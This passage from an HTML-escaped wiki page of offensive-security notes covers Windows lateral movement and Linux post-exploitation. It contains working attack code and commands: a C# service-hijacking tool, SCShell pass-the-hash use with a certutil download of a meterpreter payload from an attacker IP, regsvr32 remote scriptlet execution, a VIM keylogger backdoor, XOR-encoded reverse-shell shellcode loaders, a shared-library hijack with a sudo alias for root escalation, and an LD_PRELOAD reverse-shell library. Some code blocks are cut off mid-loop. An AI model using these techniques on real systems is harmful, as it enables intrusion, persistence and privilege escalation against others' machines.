        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Initial proof of concept to authenticate&lt;br /&gt;
            String target = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);&lt;br /&gt;
            // Code to call OpenService&lt;br /&gt;
            string ServiceName = &amp;quot;SensorService&amp;quot;;&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);&lt;br /&gt;
            // Code to call ChangeServiceConfig&lt;br /&gt;
            string payload = &amp;quot;notepad.exe&amp;quot;;&lt;br /&gt;
            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);&lt;br /&gt;
            // Code to call StartService&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Trigger payload using fileless lateral movement ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have write permission on a target, you can copy payload to target and trigger it with fileless lateral movement.&lt;br /&gt;
# Copy payload to target&lt;br /&gt;
copy proc_hol.exe \\dc02\c$\windows\tasks\proc_hol.exe&lt;br /&gt;
# Now trigger it with fileless lateral movement&lt;br /&gt;
Lat.exe dc02 SensorService “C:\windows\tasks\proc_hol.exe”&lt;br /&gt;
# You can also try to trigger the payload with psexec&lt;br /&gt;
.\psexec \\dc02 -d &amp;quot;C:\windows\tasks\proc_hol.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ScShell ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mr-Un1k0d3r/SCShell https://github.com/Mr-Un1k0d3r/SCShell]&lt;br /&gt;
&lt;br /&gt;
&amp;quot;SCShell is a fileless lateral movement tool that relies on ChangeServiceConfigA to run commands. The beauty of this tool is that it does not perform authentication against SMB. Everything is performed over DCERPC.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have obtained a hash for a user that can authenticate against target, run the command&lt;br /&gt;
python3 scshell.py corp1/dave@192.168.218.6 -service-name lfsvc -hashes :2892d26cdf84d7a70e2eb3b9f05c425e&lt;br /&gt;
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation&lt;br /&gt;
[*] Command need to use FULL path. No command output.&lt;br /&gt;
SCShell&amp;gt;C:\windows\system32\cmd.exe /c certutil -urlcache -split -f &amp;quot;http://192.168.45.162/bin.exe&amp;quot; C:\windows\tasks\bin.exe&lt;br /&gt;
# The command above will connect to target 192.168.218.6 and use the lfsvc to execute commands.&lt;br /&gt;
# The SCShell command will download meterpreter payload to windows\tasks and we can simply execute it with&lt;br /&gt;
SVShell&amp;gt;C:\windows\tasks\bin.exe&lt;br /&gt;
# Usage for .exe&lt;br /&gt;
SCShell.exe target service payload domain username password&lt;br /&gt;
# Example remote code exec&lt;br /&gt;
# I recommend using C:\windows\system32\cmd.exe /c to make sure to payload will not be killed once the service stop. You NEED to use the full path.&lt;br /&gt;
SCShell.exe 192.168.197.131 XblAuthManager &amp;quot;C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll&amp;quot; . administrastor Password&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Linux Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Stealthy VIM Backdoors&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Directly modifying &amp;lt;code&amp;gt; ​.vimrc&amp;lt;/code&amp;gt;​  is not stealthy.&lt;br /&gt;
&lt;br /&gt;
* To source a shell script:  ​&amp;lt;code&amp;gt;!source /path/to/script&amp;lt;/code&amp;gt;​ &lt;br /&gt;
&lt;br /&gt;
* To import another VIM config:  &amp;lt;code&amp;gt;​:source /path/to/vim-config​ &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stealthier approach: Use the  &amp;lt;code&amp;gt;​~/.vim/plugin​ &amp;lt;/code&amp;gt; directory. VIM auto-loads all &amp;lt;code&amp;gt; ​.vim​ &amp;lt;/code&amp;gt; files from this directory.&lt;br /&gt;
&lt;br /&gt;
=== VIM Backdoor keylogger ===&lt;br /&gt;
&lt;br /&gt;
Leveraging VIM&#039;s  ​&amp;lt;code&amp;gt;.vimrc&amp;lt;/code&amp;gt;​  configuration files, it&#039;s possible to set up autocommands that trigger actions in VIM. One such use-case is creating a basic keylogger to monitor changes a user makes in a file via VIM.&lt;br /&gt;
&lt;br /&gt;
Insert this at the end of &amp;lt;code&amp;gt;vimrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
:if $USER == &amp;quot;root&amp;quot;&lt;br /&gt;
:autocmd BufWritePost * :silent :w! &amp;gt;&amp;gt; /tmp/hackedfromvim.txt&lt;br /&gt;
:endif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*  ​BufWritePost​ : Trigger event after a buffer is written.&lt;br /&gt;
&lt;br /&gt;
*  ​*​ : Action applies to all edited files.&lt;br /&gt;
&lt;br /&gt;
*  ​:silent​ : Suppress debug output.&lt;br /&gt;
&lt;br /&gt;
*  ​:w!​ : Forcefully save the buffer contents.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;gt;&amp;gt; /tmp/hackedfromvim.txt​ : Append content changes to the specified log file.&lt;br /&gt;
&lt;br /&gt;
=== Linux Shellcode Loader ===&lt;br /&gt;
&lt;br /&gt;
==== Simple Shellcode Loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
// XOR-encoded &#039;linux/x64/shell_reverse_tcp&#039; payload (key: 0xfa)&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x90\xD3\xA2\x63\x90\xF8\xA5\x90\xFB\xA4\xF5\xFF\xB2\x6D\xB2\x43\xF8\xFA\xFA\xAA\x3A\x52\xCB\xB9\xAB\xB2\x73\x1C\x90\xEA\xA0\x90\xD0\xA2\xF5\xFF\x90\xF9\xA4\xB2\x05\x34\x90\xDB\xA2\xF5\xFF\x8F\x0C\x90\xC1\xA2\x63\xB2\x41\xD5\x98\x93\x94\xD5\x89\x92\xFA\xA9\xB2\x73\x1D\xA8\xAD\xB2\x73\x1C\xF5\xFF\xFA&amp;quot;;&lt;br /&gt;
int main (int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
        int key = 250;&lt;br /&gt;
        int buf_len = (int) sizeof(buf);&lt;br /&gt;
        // Decode the payload&lt;br /&gt;
        for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
==== Compile the shellcode loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Simple XOR Shellcode Encryption Cheatsheet ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Simple XOR Encrypt Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x6a\x39\x58\x0f\x05...&amp;quot;;  // Original Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                          // XOR Key&lt;br /&gt;
    int payload_length = (int) sizeof(buf);      // Length of Shellcode&lt;br /&gt;
    // XOR Encrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ gcc -o encoder.out encoder.c -z execstack&lt;br /&gt;
kali@kali:~$ ./encoder.out&lt;br /&gt;
\x20\x73\x12\x45\x4F\x02\xCF\x8A\x3E\x42\x02\x7B\xB5\x20\x76\x12\x45...\x20\x4B\x14\x4&lt;br /&gt;
5\x4F\x02\xCF\x8A\x32\x71\x02\xDD\x02\xF3\x48&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Execute XOR Decrypted Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x20\x73\x12\x45...&amp;quot;;  // XOR Encrypted Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                       // XOR Key&lt;br /&gt;
    int arraysize = (int) sizeof(buf);        // Length of Encrypted Shellcode&lt;br /&gt;
    // XOR Decrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Points&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* The shellcode is encrypted using XOR operation against a key (e.g., &#039;J&#039;).&lt;br /&gt;
&lt;br /&gt;
* The encrypted shellcode must be decrypted using the same XOR key before execution.&lt;br /&gt;
&lt;br /&gt;
* After decryption, the shellcode is cast to a function pointer and executed.&lt;br /&gt;
&lt;br /&gt;
=== Shared Libraries ===&lt;br /&gt;
&lt;br /&gt;
Linux uses a different program format than Windows. While Linux utilizes &#039;&#039;&#039;Executable and Linkable Format (ELF)&#039;&#039;&#039;, Windows uses the &#039;&#039;&#039;Portable Executable (PE)&#039;&#039;&#039; format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;ELF Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Executable_and_Linkable_Format Wikipedia]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;PE Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Portable_Executable Wikipedia]&lt;br /&gt;
&lt;br /&gt;
Despite their differences, both systems share code with other applications. Windows employs &#039;&#039;&#039;Dynamic-Link Library (DLL)&#039;&#039;&#039; files, whereas Linux uses &#039;&#039;&#039;Shared Libraries&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
When a Linux application requires a library, it searches for it in the following order:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RPATH&#039;&#039;&#039;: Directories within the application&#039;s RPATH value.&lt;br /&gt;
[https://en.wikipedia.org/wiki/Rpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;LD_LIBRARY_PATH&#039;&#039;&#039;: Directories specified in this environment variable.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RUNPATH&#039;&#039;&#039;: Directories in the application’s RUNPATH value.&lt;br /&gt;
[https://amir.rachum.com/blog/2016/09/17/shared-libraries/#rpath-and-runpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;/etc/ld.so.conf&#039;&#039;&#039;: Directories mentioned here.&lt;br /&gt;
[https://man7.org/linux/man-pages/man8/ldconfig.8.html Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System Library Directories&#039;&#039;&#039;: &amp;lt;code&amp;gt; ​/lib​ ,  ​/lib64​ ,  ​/usr/lib​ ,  ​/usr/lib64​ ,  ​/usr/local/lib​ ,  ​/usr/local/lib64&amp;lt;/code&amp;gt;​ , and more.&lt;br /&gt;
&lt;br /&gt;
Because of this predefined search sequence, it&#039;s possible to place or hijack shared libraries to control an application&#039;s behavior.&lt;br /&gt;
&lt;br /&gt;
==== Hijacking Shared Library via LD_LIBRARY_PATH ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Writing the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload file:&lt;br /&gt;
&lt;br /&gt;
 ​/home/offsec/ldlib/hax.c​ &lt;br /&gt;
&lt;br /&gt;
* Include headers:&lt;br /&gt;
&lt;br /&gt;
* Define the constructor function:&lt;br /&gt;
&lt;br /&gt;
* Function payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include  // for setuid/setgid&lt;br /&gt;
// This function will be executed automatically when the shared library is loaded.&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
void runmahpayload() {&lt;br /&gt;
    // Elevate privileges to root user.&lt;br /&gt;
    setuid(0); // Set the effective user ID to root.&lt;br /&gt;
    setgid(0); // Set the effective group ID to root.&lt;br /&gt;
    // Print a message to indicate the DLL hijacking is in progress.&lt;br /&gt;
    printf(&amp;quot;DLL HIJACKING IN PROGRESS \n&amp;quot;);&lt;br /&gt;
    // Execute the system command to create a file in /tmp called &amp;quot;haxso.txt.&amp;quot;&lt;br /&gt;
    // This can be used as an indicator that the malicious code was executed.&lt;br /&gt;
    system(&amp;quot;touch /tmp/haxso.txt&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Compiling the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Compile shared library object file:&lt;br /&gt;
&lt;br /&gt;
* Compile the finished shared library file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -o libhax.so hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Identifying the Target Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Determine libraries used by a binary, e.g.,  ​top​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ldd /usr/bin/top&lt;br /&gt;
linux-vdso.so.1 (0x00007ffd135c5000)&lt;br /&gt;
libprocps.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libprocps.so.6 (0x00007ff5ab935000)&lt;br /&gt;
libtinfo.so.5 =&amp;gt; /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ff5ab70b000)&lt;br /&gt;
libdl.so.2 =&amp;gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff5ab507000)&lt;br /&gt;
libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff5ab116000)&lt;br /&gt;
libsystemd.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007ff5aae92000)&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2 (0x00007ff5abd9b000)&lt;br /&gt;
librt.so.1 =&amp;gt; /lib/x86_64-linux-gnu/librt.so.1 (0x00007ff5aac8a000)&lt;br /&gt;
liblzma.so.5 =&amp;gt; /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5aaa64000)&lt;br /&gt;
liblz4.so.1 =&amp;gt; /usr/lib/x86_64-linux-gnu/liblz4.so.1 (0x00007ff5aa848000)&lt;br /&gt;
libgcrypt.so.20 =&amp;gt; /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007ff5aa52c000)&lt;br /&gt;
libpthread.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff5aa30d000)&lt;br /&gt;
libgpg-error.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff5aa0f8000)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We will use the bottom library. This is likely to be loaded by the application but not likely to be called unless the program encounters an error therefore this shouldn’t prevent normal use of the application.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Preparing for Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Set the environment variable:&lt;br /&gt;
&lt;br /&gt;
* Copy the malicious library to hijack a target:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
cp libhax.so libgpg-error.so.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Identifying Missing Symbols:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract symbols associated with the hijacked library:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print &amp;quot;int&amp;quot;,$8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Add the resulting symbols to your source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
int gpgrt_onclose;&lt;br /&gt;
int _gpgrt_putc_overflow;&lt;br /&gt;
int gpgrt_feof_unlocked;&lt;br /&gt;
int gpgrt_vbsprintf;&lt;br /&gt;
int gpgrt_ungetc;&lt;br /&gt;
---REST OF THE CODE---&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We encountered an error stating we&#039;re missing the symbol &amp;quot;gpgrt_lock_lock&amp;quot; with version GPG_ERROR_1.0. Before our library&#039;s initial function could run, the program identified that certain expected symbols were absent. This implies that our fake library doesn&#039;t have all the required components that the original library has. To fix this, we just need to add placeholders for these missing components, since the program isn&#039;t checking their functionality, just their presence. We can also use the &amp;quot;readelf&amp;quot; tool with the &amp;quot;-s&amp;quot; option to check what components the original library contains.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Overcoming Version Errors:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract just symbol names:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print $8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create a symbol map file, e.g.,  ​gpg.map​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GPG_ERROR_1.0 {    &lt;br /&gt;
gpgrt_onclose;    &lt;br /&gt;
_gpgrt_putc_overflow;    &lt;br /&gt;
...&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Recompile using the symbol map:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -Wl,--version-script gpg.map -o libgpgerror.so.0 hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Export environment varialbe&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Run the application&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
top&lt;br /&gt;
DLL HIJACKING IN PROGRESS&lt;br /&gt;
top - 14:55:15 up 9 days, 4:35, 2 users, load average: 0.01, 0.01, 0.00 Tasks: 164 total, 1 running, 92 sleeping, 0 stopped, 0 zombie ...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for the file our library was supposed to modify in /tmp.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-rw-r-- 1 offsec offsec 0 Jul 10 17:12 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Privilege Escalation &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a .bashrc alias for sudo to include LD_LIBRARY_PATH and use the malicious library example we created to escalate to root privileges.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Add the alias to the .bashrc:&lt;br /&gt;
&lt;br /&gt;
* Source the .bashrc to load the changes:&lt;br /&gt;
&lt;br /&gt;
* Now, run the top utility with sudo:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_LIBRARY_PATH=/home/offsec/ldlib&amp;quot;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
sudo top  &lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-r--r-- 1 root root 0 Aug 11 14:51 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check the /tmp directory for the haxso.txt file. This time it should be owned by the root user, indicating that the malicious library executed with elevated privileges.&lt;br /&gt;
&lt;br /&gt;
=== LD_PRELOAD Exploitation ===&lt;br /&gt;
&lt;br /&gt;
The environment variable LD_PRELOAD, when set on a system, instructs the dynamic linking loader to prioritize a specific shared library to load first. Consequently, the functions within this library take precedence over others that have an identical method signature from different libraries.&lt;br /&gt;
&lt;br /&gt;
==== Reverse shell ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Identifying Potential Applications&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Target applications that the victim frequently uses (e.g.,  ​cp  utility).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Tracing Library Calls&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ ltrace cp&lt;br /&gt;
strrchr(&amp;quot;cp&amp;quot;, &#039;/&#039;) = nil&lt;br /&gt;
...&lt;br /&gt;
geteuid() = 1000&lt;br /&gt;
getenv(&amp;quot;POSIXLY_CORRECT&amp;quot;) = nil&lt;br /&gt;
...&lt;br /&gt;
fflush(0x7f717f0c0680) = 0&lt;br /&gt;
fclose(0x7f717f0c0680) = 0&lt;br /&gt;
+++ exited (status 1) +++&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Creating a Malicious Shared Library&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;: Redefine the  ​geteuid​  function.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Code Sample&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#define _GNU_SOURCE&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_PRELOAD.o sharedLibrary_LD_PRELOAD.c&lt;br /&gt;
// gcc -shared -o sharedLibrary_LD_PRELOAD.so sharedLibrary_LD_PRELOAD.o -ldl&lt;br /&gt;
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c&lt;br /&gt;
unsigned char buf[] =&lt;br /&gt;
&amp;quot;\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48&amp;quot;&lt;br /&gt;
&amp;quot;\xb9\x02\x00\x00\x50\xc0\xa8\x31\x43\x51\x48\x89\xe6\x6a\x10&amp;quot;&lt;br /&gt;
&amp;quot;\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58&amp;quot;&lt;br /&gt;
&amp;quot;\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f&amp;quot;&lt;br /&gt;
&amp;quot;\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05&amp;quot;;&lt;br /&gt;
uid_t geteuid(void)&lt;br /&gt;
{&lt;br /&gt;
        // Get the address of the original &#039;geteuid&#039; function&lt;br /&gt;
        typeof(geteuid) *old_geteuid;&lt;br /&gt;
        old_geteuid = dlsym(RTLD_NEXT, &amp;quot;geteuid&amp;quot;);&lt;br /&gt;
        // Fork a new thread based on the current one&lt;br /&gt;
        if (fork() == 0)&lt;br /&gt;
        {&lt;br /&gt;
                // Execute shellcode in the new thread&lt;br /&gt;
                intptr_t pagesize = sysconf(_SC_PAGESIZE);&lt;br /&gt;
                // Make memory executable (required in libs)&lt;br /&gt;
                if (mprotect((void *)(((intptr_t)buf) &amp;amp; ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {&lt;br /&gt;
                        // Handle error&lt;br /&gt;
                        perror(&amp;quot;mprotect&amp;quot;);&lt;br /&gt;
                        return -1;&lt;br /&gt;
                }&lt;br /&gt;
                // Cast and execute&lt;br /&gt;
                int (*ret)() = (int(*)())buf;&lt;br /&gt;
                ret();&lt;br /&gt;
        }&lt;br /&gt;
        else&lt;br /&gt;
        {&lt;br /&gt;
                // Original thread, call the original function&lt;br /&gt;
                printf(&amp;quot;[Hijacked] Returning from function...\n&amp;quot;);&lt;br /&gt;
                return (*old_geteuid)();&lt;br /&gt;
        }&lt;br /&gt;
        // This shouldn&#039;t really execute&lt;br /&gt;
        printf(&amp;quot;[Hijacked] Returning from main...\n&amp;quot;);&lt;br /&gt;
        return -2;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -z execstack -c -o evil_geteuid.o evileuid.c&lt;br /&gt;
gcc -shared -o sharedLibrary_LD_PRELOAD.so evil_geteuid.o -ldl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Triggering the Payload&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
